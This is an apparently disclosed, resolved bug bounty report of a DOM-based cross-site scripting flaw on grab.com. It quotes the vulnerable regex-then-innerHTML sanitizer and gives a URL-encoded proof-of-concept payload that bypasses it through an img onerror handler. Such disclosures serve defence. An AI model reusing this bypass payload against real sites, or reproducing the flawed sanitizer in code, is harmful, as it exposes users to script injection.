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Dom based xss affecting all pages from https://www.grab.com/.

Medium
G
Grab
Submitted None
Reported by netfuzzer

Vulnerability Details

Technical details and impact analysis

Cross-site Scripting (XSS) - DOM
Hello, there's a dom based xss vulnerability affecting all pages under the domain https://www.grab.com/. This vulnerability wasn't properly patched so I managed to bypass the regular expressioned that was added into the function. Vulnerable code: ```` var stripHtml = (function () { var div = document.createElement('div'); return function (html) { div.innerHTML = html.replace(/<\/?\w+[^>]*\/?>/g, ""); return (div.innerText || div.textContent); // textContent is for firefox }; })(); `````` PoC: https://www.grab.com/sg/partnerships/?xss=%3C%3Ca/%3A%3C%22a%22%3Eimg%20src%3D%23%20onerror%3Dconfirm%28%27XSSED%27%29%3E visit url above to reproduce. A screenshot is attached to this report. cheers, Mario.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Cross-site Scripting (XSS) - DOM